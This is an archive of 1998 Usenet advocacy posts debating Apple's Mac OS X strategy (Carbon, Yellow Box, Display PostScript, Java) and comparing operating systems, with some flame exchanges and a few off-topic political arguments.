> will probably be seen as having little value to YB developers due to a
> weak OO structure. All oars should be pulling in the same direction
> here...
But they can't because Apple cannot force some of it's key developers
to use it's favorite technology. At least it is Job's and Tevanian's
favorite.
> Q) If they are Carbon based (as I understand is the case), then how can YB
> developers rely on their presence (unless Carbon itself becomes
> cross-platform)?
YB developers will program in YB. They can't count on Carbon APIs on
Windows yet, why would they need to count on them in OSX. YB will change
but it will not rely on other API's (or it wouldn't really be YB
anymore). The graphics model may need to be ported but that really is
more of a reinterfacing of DPS code than a rewrite.
> Q) If they are Carbon based, how does Apple expect to maintain the
> apparently excellent layering and buffering of services that you find in
> Rhapsody/OpenStep. Or will MacOS X take those Rhapsody roots and sink them
> in a pot of procedural soil? Doesn't that just turn MacOS X into the mess
> that Apple had in MacOS up to now?
I am not certain what you mean by this. Carbon API's will be
procedural but that won't preclude YB from functioning correctly.
Furthermore, Carbon APIs will NOT work like current Mac APIs. They will
only be USED like curren Mac APIs.
> Q) If they are Yellow based, then Apple has no ability to migrate them to
> the MacOS 8/9 products which makes me skeptical of receiving any near-term
> gains based on what I heard at WWDC.
This is also unclear. Carbon is an extension of the existing MacOS
API. When it is implemented on another foundation than the existing one
it will use other services. However, a recompile will get you going from
one to the other. Your functionality will change a lot, the programming
will change little.
> Again, something is missing here. The problem is that the introduction of
> Carbon is very good, but incomplete long-term. Carbon will not allow MacOS
> X to advance in any efficient, innovative way and at the same time, MacOS
> X will never gain adoption to even have a chance at advancing without it.
How will MacOS X adoption be slower than Rhapsody?
> Furthermore, I don't see that Apple is offering anything to *new*
> developers that is overly exciting. Calling YB with Java is nice, and YB
> allows nice, rapid development, but YB doesn't go anywhere but Mac and
> Windows. BFD. That's not overly interesting to the Java world, IMO.
But, it should be very interesting to Windows and Mac programmers who
want to do true OO programming in a popular language. Don't get Java the
project, promise, complete API come time in the future, confused with Java
the language in this case.
> To existing Mac developers, they get their same old junk on a platform
> that is more stable, but no bigger than what they had. BFD. That's not
> overly interesting to the Mac world, IMO.
What same old junk? Look at the Carbon API. It is much better than
the ToolBox in many important ways. Try reentrant for example. No one
said the entire Mac ToolBox was a mess, only that it became a mess in the
many crappy APIs one needs to use, most of those are being eliminated.
OT, QT, Nav services, etc. are not a mess and not crappy.
> And *none* of these things are interesting to the Win32 world. If there is
> a strategy here, either we haven't seen it, or it isn't a particularly
> good strategy. I'm thinking (maybe just hoping) it is the former...
Have you talked to Win32 developers who are tying of being beholden to
MS? Imagine if you will someone frustrated by having to work under a
large Monopoly to get services (like telephone services for example :).
They are dissatisfied because they have no where to go. If offered a real
alternative what will they do? I am in a lab that has seen many a
disgruntled MS programmer that would like to use something other than
Win32. Imagine their surprise when they can develop for Macintosh and
Windows and have a great system for doing it.
Current YB developers are in enterprise for the most part and I agree
that there does not appear to be a strategy here. However, the hope of
OpenStep since its inception is that it could move into the consumer
space. That is a tremendous step for YB developers. They may just have
to think different.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: DC <dhba701@NOSPAM*worldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: Wed, 10 Jun 1998 09:06:55 -0400
Organization: http://www.judas-priest.com
Message-ID: <6lm0fm$7tm@bgtnsc02.worldnet.att.net>
References: <6lk75t$afl@newsb.netnews.att.com> <01bd9419$a1ba5b40$100ba8c0@voodoo2>
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Earl Malmrose wrote:
>
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in article
> <6lk75t$afl@newsb.netnews.att.com>...
> >
> > Analysts at GigaWorld say skip NT 5.0
> >
> > Quote :
> > With 30 million lines of code, 85 percent of which is new,
> > Windows NT 5.0 is likely to be buggy, said Rob Enderle,
> > director of desktop and mobile technology at Giga....
>
> What is GigaWorld?
It's a conference put on by GIGA Research(?). It was founded by Gideon
Gartner a few years ago. It's one of the most respected IT
research/consulting firms in the world (Gideon founded Gartner Group).
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 09:18:37 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6llj1d$hs1$1@ns3.vrx.net>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79>
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In <B1A31F69-125386@206.165.43.79> "Lawson English" claimed:
> And the kids then started making fun of him?
>
> The kids decided to ignore him?
>
> The kids started making remarks about his mental health?
>
> The kids started trying to help him understand where they were coming from?
Glass houses Lawson.
Maury
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Reverse Technology - NOT (was Re: Java Java Java)
Date: 10 Jun 1998 14:27:24 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6lm54c$iqs@btmpjg.god.bel.alcatel.be>
References: <357DB62A.6D843E17@alum.mit.edu>
NEXTSTEP was never for free (it always was very expensive).
NEXTSTEP was never cross platform (its about OS's, not CPU's).
NEXTSTEP was never sold (better: given away) to the masses.
NEXTSTEP was never source licensed to multiple customers.
NEXTSTEP was never offered by multiple providers.
NEXTSTEP never had a language as good as Java.
NEXTSTEP already has failed when OPENSTEP was derived from it.
There are reasons why java is successful.
Of course there are things where Objective-C and AppKit are still better
than java and the standard libraries. The main point is performance,
it is much easier to write performant applications for old hardware with
NEXTSTEP than with Java, but that is a temporary problem, for both
Java and the hardware getting faster.
There are many places where java and it's libraries are better.
Please note that I'm not talking about the OS, NEXTSTEP/OPENSTEP/RHAPSODY
is still the best end user and developer desktop OS, IMHO.
Yours,
Ralf Suckow
Eric Hermanson <eric@alum.mit.edu> writes
# The reason it cannot be a separate OS is because it is completely immature, and
# it would be like reverting back to Windows 1.0.
#
# The way in which advances in technology run their course in today's market is
# truly baffling! It appeared that with the advent of NEXTSTEP/OpenStep, EOF,
# etc, the human race was onto something. Then, all of a sudden, this hack
# called HTML, which isn't even 1/100th as powerful as something like perl,
# gained widespread acceptance. So while we were at the verge of something great
# (OpenStep 4.0), the WWW cropped up and left us with static data and completely
# boneheaded UI (i.e. forms, one action per submit, etc). Instead of resisting
# this reversion in technology, the human race accepted it and tried to make it
# better by progressing it with HTML 2.0, 3.0, JavaScript, then Java. And so
# we're left with Java, which is a lot like Windows 1.0.
#
# Now everyone and their brother is trying to advance Java to the point of
# OpenStep 4.0 instead of just using what's already available. I think Apple
# missed the boat by not making a WebScript virtual machine (or WebScript-->Java
# bytecode compiler) to compete with Java and blow it away for good.
#
# Well, maybe we'll all get lucky so that by 2003 Java will be at least as mature
# as OpenStep 3.0 was. Unless, or course, something else comes along to
# revert us back 10 years.
#
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: 10 Jun 1998 14:06:10 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6lm3si$ibr@btmpjg.god.bel.alcatel.be>
References: <slrn6nrbv9.1po.sal@panix3.panix.com>
Salvatore Denaro writes
> A JVM is pretty close to an OS as is. I fail to see why a JVM can not run on
> raw hardware (with some extensions for MMU, device drivers and other raw
> hardware issues)
>
It can, and it exists.
Nevertheless there is a big misconcept in the JVMs as I've seen it.
There is only one JVM running at the moment on one machine.
You will have problems running more than one application
at a time. First, if one application crashes the JVM (uncatched
exception), the other ones do crash also. But this can be solved.
Second, and this is more serious, all objects in a JVM share
the same object classes (i.e. no versions) and the same
static variables of them. So, there is no protected virtual
memory inside a JVM. And there is no resource tracing, if one
application opens a ressource and crashes, the ressource is lost.
So what is missing in the current JavaOSs is a multiple JVM
concept with tasks running in protected VM, and of course
mechanisms to administer them (start, stop, schedule) and to resolve
conflicts in access to shared ressources. This is essentially
what an OS is about.
A JVM used as JavaOS is very comparable to the AmigaOS,
and that is nice, but not state of the art.
Yours,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 09:19:46 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6llj3i$hs1$2@ns3.vrx.net>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79>
<slrn6nrmih.526.jason@jhste1.dyn.ml.org>
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In <slrn6nrmih.526.jason@jhste1.dyn.ml.org> Jason S. claimed:
> Kheit and Urban's responses to my recent post convince me of this. We
> find them to be assholes because they're "almost always right"?
No, because you hate being wrong. Like everyone else in the world.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 09:28:16 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lljjg$hs1$3@ns3.vrx.net>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
<357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
<6li1b3$bgl$1@crib.corepower.com> <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org>
<6livgp$9m9$2@ns3.vrx.net> <6lkmp9$bjf$1@supernews.com>
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In <6lkmp9$bjf$1@supernews.com> John C. Randolph claimed:
> Actually, when it comes to the core OS, Linux isn't too shabby.
Never claimed it was, it just isn't "modern" (whatever _that_ means).
Compiling a kernel isn't Linux's main point though, notably from a security
standpoint - bonus marks to OpenBSD for that one.
> It's already the most securable UNIX there is
How so?
> secureable than a kernal that might load a cracker's code silently. Linux
> also wins on performance, at the core OS level.
Sure, compared to Mach-a-likes. Compared to more modern designs like QnX,
no. In fact Mach 4.0's system consistantly beat all of the BSD's in kernel
round trip time.
> Heck, we NeXT hackers didn't get bent out of shape over the name change
> ("Rhapsody" isn't all *that* cool. Mac OS X is just fine.) There was also
a
> surprisingly small hue and cry over the loss of our beloved DPS
interpreter.
> I guess we mostly figured that if Andy Stone could live with it, so could
the
> rest of us.
I doubt it will result in much of a difference other than the way you do
NXHosting (notice I say "the way", not "missing"). EPS vs PDF seems like a
toss up in terms of funct (for the most part), but lets face it, PDF _is_ the
standard these days. The rest seems to be identical.
Of course Laswon sells this change as "we're losing everything", nothing
could be further from the truth. At last count I'll have to change a
staggering *80 lines of code* or so. And I'm writing a graphics app!
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 09:32:05 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lljql$hs1$4@ns3.vrx.net>
References: <ldo-1006981642350001@a53.hn3.wave.co.nz>
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In <ldo-1006981642350001@a53.hn3.wave.co.nz> Lawrence D¹Oliveiro claimed:
> Bzzt. Thank you for playing, but I think Lawson wins this one. ATSUI is
> going to be Unicode-centric, right? (Hence the name.) Unfortunately, the
> world isn't going to move entirely to Unicode in the next five years, or
> ten. There are loads of national character sets that we will have to deal
> with in the meantime.
I don't know, maybe they'll use NSCharacterSet which automatically does all
of this for you? Nahhh, that would be too easy, right?
> still waiting for somebody to prove me wrong
Wait no longer.
Maury
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
nntp://news.itd.umich.edu/comp.sys.mac.advocacy,
nntp://news.itd.umich.edu/comp.sys.next.advocacy
References: <rmcassid-0906981511310001@dante.eng.uci.edu>
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Message-ID: <B1A41697-3844AC@141.214.128.36>
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Date: Wed, 10 Jun 1998 14:51:02 GMT
NNTP-Posting-Date: Wed, 10 Jun 1998 10:51:02 EDT
> >I would not call it bad. I would call it immature.
But there is some really bad designs in the frameworks. Where's
mutablestring? What's this stringBuffer crap? Don't even get me started on
the awt crap...
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #18: "Well, you're always saying I can do anything I
want to do if I put my mind to it. This is something I can do without
putting my mind to it at all." -Chris Elliott in "The Prettiest Week of My
Life"
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 09:51:37 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357E9D78.A8BFC8F6@nstar.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <petrichEuC1E2.E5u@netcom.com>
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NNTP-Posting-Date: 10 Jun 1998 14:57:14 GMT
Loren Petrich wrote:
>
> In article <6l72if$mp9$1@news.smart.net>, KAZ Vorpal <kaz@smart.net> wrote:
>
> >...remember that all tax revenue is the result of
> >holding a gun to somebody's head.
>
> Just like protection of life, liberty, and property:
>
> If you steal from someone, try to enslave someone, or even kill
> someone, you will be fined or tossed in jail.
> If you refuse to pay the fine, you'll be tossed in jail anyway.
> If you try to escape from jail, you'll be shot.
>
> So protection of life, liberty, and property are all done by
> putting guns to people's heads.
>
> [Paraphrase of PJ O'Rourke]
Actually, it's very disgusting that you should say this, because it
demonstrates how little you actually understand about law, historically.
Under Common Law in England (and found elsewhere during specific periods
of history, such as the "Wild" West in America), the protection of the
law had absolutely nothing to do with what we now call "law
enforcement".
It went something like this: if you broke the law, you were judged and
ordered to provide retribution of some sort. There were no imprisonment
and no guns; there was simply the proclamation of the judgment of law on
the transgressor. If you refused to abide by the declaration of the law,
the law had no power to punish you, except in this: having refused to
recognize the authority of the law, you no longer were afforded the
protection of the law. Your name and a description of your person were
published, and you were henceforth branded an "outlaw" (one who is
outside of the law) until such time as you should make your peace with
the law.
No longer being under the protection of the law, you were utterly
independent of its "protection of life, liberty, and property", and any
man who happened upon you was free to beat, kill, enslave, or even eat
you, if he chose. Often, private citizens organized manhunts for the
purpose of finding and disposing of individuals who had placed
themselves above the law.
So protection of life, liberty, and property are all accomplished by the
consensus of law-abiding people who have agreed to the justice and
binding authority of the law itself. That is the *only* thing that
ensures life, liberty, and property. Gun-wielding government does not;
in fact, "putting guns to people's heads" is the most significant enemy
of "life, liberty, and property" that man has ever known. If you doubt
that, there are several thousand years of history to shout you down.
MJP
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: 10 Jun 1998 15:01:58 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1006981101400001@pm61-22.magicnet.net>
References: <6lk75t$afl@newsb.netnews.att.com> <01bd9419$a1ba5b40$100ba8c0@voodoo2> <6lm0fm$7tm@bgtnsc02.worldnet.att.net>
DC <dhba701@NOSPAM*worldnet.att.net> wrote:
> Earl Malmrose wrote:
> >
> > What is GigaWorld?
>
> It's a conference put on by GIGA Research(?).
GIGA Information Group.
Big competitor to folks like Gartner, and a lot more skeptical of Wintel
stuff than many.
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 09:58:13 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357E9F05.8F4376E4@nstar.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <petrichEuC1In.ECu@netcom.com>
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NNTP-Posting-Date: 10 Jun 1998 15:05:09 GMT
Loren Petrich wrote:
> Actually, the computer business would be *helped* by M$'s
> suffering; yes, Mr. Vorpal, I know how much your heart bleeds for M$'s
> leaders.
Is it really so hard for some people to believe that there are
principles higher than either love or hatred of Microsoft? Advocates of
liberty and Austrian economics are unfailingly branded "favoritists" of
some kind nowadays. It's particularly odious, and ironic, since the goal
of free-economics is fair play itself.
Perhaps it's just the pernicious nature of liberal political thought to
attempt a reversal, of sorts, in order to masquerade as "fairness" and
paint true fairness as "greed" and favoritism. I am put in mind of
racist voting laws in the South, always defended on the basis of
"fairness". By contrast, opponents of Jim Crow laws in the South were
often branded "n*****-lovers".
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: Wed, 10 Jun 1998 10:03:38 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357EA04A.A0B5209F@nstar.net>
References: <rmcassid-0906981511310001@dante.eng.uci.edu> <B1A41697-3844AC@141.214.128.36>
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NNTP-Posting-Date: 10 Jun 1998 15:08:33 GMT
Robert A. Decker wrote:
>
> > >I would not call it bad. I would call it immature.
>
> But there is some really bad designs in the frameworks. Where's
> mutablestring? What's this stringBuffer crap? Don't even get me started on
> the awt crap...
What are you talking about? There are two "string" classes. One, String,
refers to a literal sequence, so that even such constants are
manipulable as objects. The second, StringBuffer, is a string variable,
as its name implies.
MJP
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 15:21:22 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6lm89i$rt2$1@new-news.cc.brandeis.edu>
References: <6lkmp9$bjf$1@supernews.com> <6lkri9$dj5$1@crib.corepower.com> <slrn6ns1tu.qvl.sal@panix3.panix.com>
In article <slrn6ns1tu.qvl.sal@panix3.panix.com> sal@panix3.panix.com (Salvatore Denaro) writes:
>On 9 Jun 1998 22:38:01 -0400, Nathan Urban <nurban@crib.corepower.com> wrote:
>>I think that OpenBSD would likely give Linux quite a run for its money in
>>the security area. It's been through an extensive professional security
>>audit.
>
>Isn't the l0pht Web site running on OpenBSD? If that isn't a ringing
>endorsement of OpenBSD's security, I don't know what is.
According to a short article in Wired magazine not too long ago (the print
one), OpenBSD is used extensively by hackers for just that reason - its
very very secure. I've also read that it is distributed from Canada,
which has no export restrictions on high-security algorithms, and OpenBSD
is not something that could be exported from the U.S.
(I'd be using OpenBSD for mac68k right now except I couldn't get a DHCP
client working with the 2.3 release...)
--
Nathan Raymond
http://www.everythingmac.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 15:25:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nt9b0.n12.sal@panix3.panix.com>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115> <357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org> <6li1b3$bgl$1@crib.corepower.com> <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org> <6livgp$9m9$2@ns3.vrx.net> <6lkmp9$bjf$1@supernews.com> <6lljjg$hs1$3@ns3.vrx.net>
On 10 Jun 1998 09:28:16 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <6lkmp9$bjf$1@supernews.com> John C. Randolph claimed:
>> Actually, when it comes to the core OS, Linux isn't too shabby.
> Never claimed it was, it just isn't "modern" (whatever _that_ means).
This is one of the selling points. Linux is based on well understood and
proven technology. They didn't run off and try to build a buzzword OS, just
an OS that works well enough for normal use.
> Sure, compared to Mach-a-likes. Compared to more modern designs like QnX,
>no. In fact Mach 4.0's system consistantly beat all of the BSD's in kernel
>round trip time.
QnX systems on regularly achieve availability in the five-nines range. (99.999%)
You used to need a mainframe for that level of stability.
> I doubt it will result in much of a difference other than the way you do
>NXHosting (notice I say "the way", not "missing"). EPS vs PDF seems like a
I noticed. :) Care to explain?
--
sal@panix.com
Salvatore Denaro
Date: Wed, 10 Jun 1998 11:09:48 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <joe.ragosta-1006981109490001@wil47.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net> <rmcassid-0906981332290001@dante.eng.uci.edu>
In article <rmcassid-0906981332290001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> Apple isn't yet willing to definitively say one way or another, but the
> official word today is that MacOS X is G3 only, and that they are
> evaluating support for older hardware.
I think you mean _unofficial_ word is that Mac OS X is G3 only. The
official word is that it's still under review.
>
> Technical reasons? As far as I can tell, there are none based on the
> specific line that they have drawn. My proof: The original Powerbook G3
> and the 3400. Virtually identical in terms of hardware aside from the CPU.
> OpenFirmware should not be an issue, nor should drivers. Only if they were
> specifically generating G3 instructions that did not exist in the 603e
> set. And that is entirely too easy to avoid if such differences exist.
>
> It doesn't make a case for 8500/8600/9500/9600 support, but I imagine that
> given existing Rhapsody support for that hardware, support under MacOS X
> could not be so difficult as to preclude Apple from doing it considering
> the number of people with large dollars invested and seemingly no OS
> future beyond CR1.
>
> -Bob Cassidy
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 15:25:57 GMT
Organization: I don't think so
Message-ID: <slrn6nt9ob.8da.jason@jhste1.dyn.ml.org>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6llf9k$m9t$3@ironhorse.plsys.co.uk>
mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>> Why do you waste your time on these people, Lawson?
>That's what we keep asking. We don't want him to. A year ago we started to
>ask if he would, please, stop posting in comp.sys.next.advocacy because the
>debate was no longer interesting, and his ignorance or wanton mendacity about
>DPS/OPENSTEP was becoming more than tiresome.
So killfile him and get over it.
>> They will never actually read your posts and respond intelligently;
>Drivel; there have been numerous well-considered highly informative retorts
>to Lawson's posts. I defy you to prove otherwise. Your accusation is false
>and obnoxious -- you owe us an apology.
Perhaps an exaggeration in my part, but there have been an awful lot
of insults aimed at Lawson of late. And I don't feel that I owe you
an apology.
>> they only will continue to post their condescending tripe and flames
>> aimed at you.
>They will from time to time, given that this "debate" has been going on for
>over a year and a half now, and it got tiresome over a year ago. If Lawson
>wants to post about GX in someone else's house, that's fine, just leave csna
>off the groups list.
So killfile him. Don't swamp csma with anti-Lawson flames.
>> So flame back - that's the only solution. I am frankly quite sick of
>> mmmmmmalcolm, Swiger and the rest of the NeXT-is-best gang. They are
>> so convinced of their inherent superiority that they really have nothing
>> to contribute. Caught in a Reality Distortion Field(tm), they refuse
>> to even consider the possibility that the NeXT way is not the best way
>> on any issue.
>This is another offensive lie, and I ask you to withdraw it.
>We have all at some time or another admitted faults or failings in NeXT's
>offerings.
Faults compared to some mythical ideal, or faults compared to another
shipping OS?
>Furthermore mail I, and I am sure others, have received belie your assertion
>that we have "nothing to contribute" -- I have received thanks on many
>occasions for help, assistance and clarification I have given in this and
>other forums. What is frustrating is that Lawson's presence here dilutes
>that.
I really meant "nothing to contribute" with respect to Lawson. I should
have been more clear about that, I suppose.
>> Kheit and Urban's responses to my recent post convince me of this. We
>> find them to be assholes because they're "almost always right"? Please.
>> These people....
>You, of course, are never wrong, and assured of your own superiority...?
Nope.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 15:29:14 GMT
Organization: I don't think so
Message-ID: <slrn6nt9uj.8da.jason@jhste1.dyn.ml.org>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6ll24v$pn8$1@supernews.com>
John C. Randolph posted the following to comp.sys.mac.advocacy:
>Jason,
>You haven't been on this newsgroup for very long. Over a year ago, Lawson
>went on a tear which apparently hasn't ended yet, where his advocacy of GX
>extended to his assertion that all kinds of things are *impossible* in
>OpenStep + DPS.
I've experienced pretty much every crosspost from csna to csma since the
NeXT buyout. I have had a tendency to skip over the Lawson threads, though.
It's the recent rash of anti-Lawson insults that I have a problem with.
>As for Lawson wasting his time, you're right. He's acomplished nothing in
>the year or so that I've seen him beating this Quickdraw GX drum, and I
>wouldn't miss him a bit if he just sodded off to another corner of the
>USENET.
He lives in csma, I believe. Where do you suggest that GX advocacy take
place?
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 15:32:59 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6lm8vb$l98$1@news.cs.tu-berlin.de>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org>
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jason@jhste1.dyn.ml.org (Jason S.) writes:
[X]
>doesn't do the "Steve Jobs" (i.e., "Objective") version of C).
That's not Steve's version. Brad Cox is the man. Heck, I
got a NeXT primarily because it had Objective-C, not the
other way around.
But, don't let facts interfere with your delusions.
Marcel
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 15:31:47 GMT
Organization: I don't think so
Message-ID: <slrn6nta3c.8da.jason@jhste1.dyn.ml.org>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79> <slrn6nrlp3.515.jason@jhste1.dyn.ml.org> <6llfke$m9t$5@ironhorse.plsys.co.uk>
mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>> Lawson, mmmmmalcolm lives in England. He's one of _those_ people.
>> Remember Golding's "Lord of the Flies"? He's English - they're
>> the best.
>Actually I'm not English. Your point?
Ooops. Sorry.
>Do you have anything constructive to contribute to this group, or are you
>just going to engage in ad hominem attacks?
Considering the attacks on Lawson coming from the csna side of these
crossposted threads - pot, kettle, black.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 10 Jun 1998 15:51:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ntas0.n12.sal@panix3.panix.com>
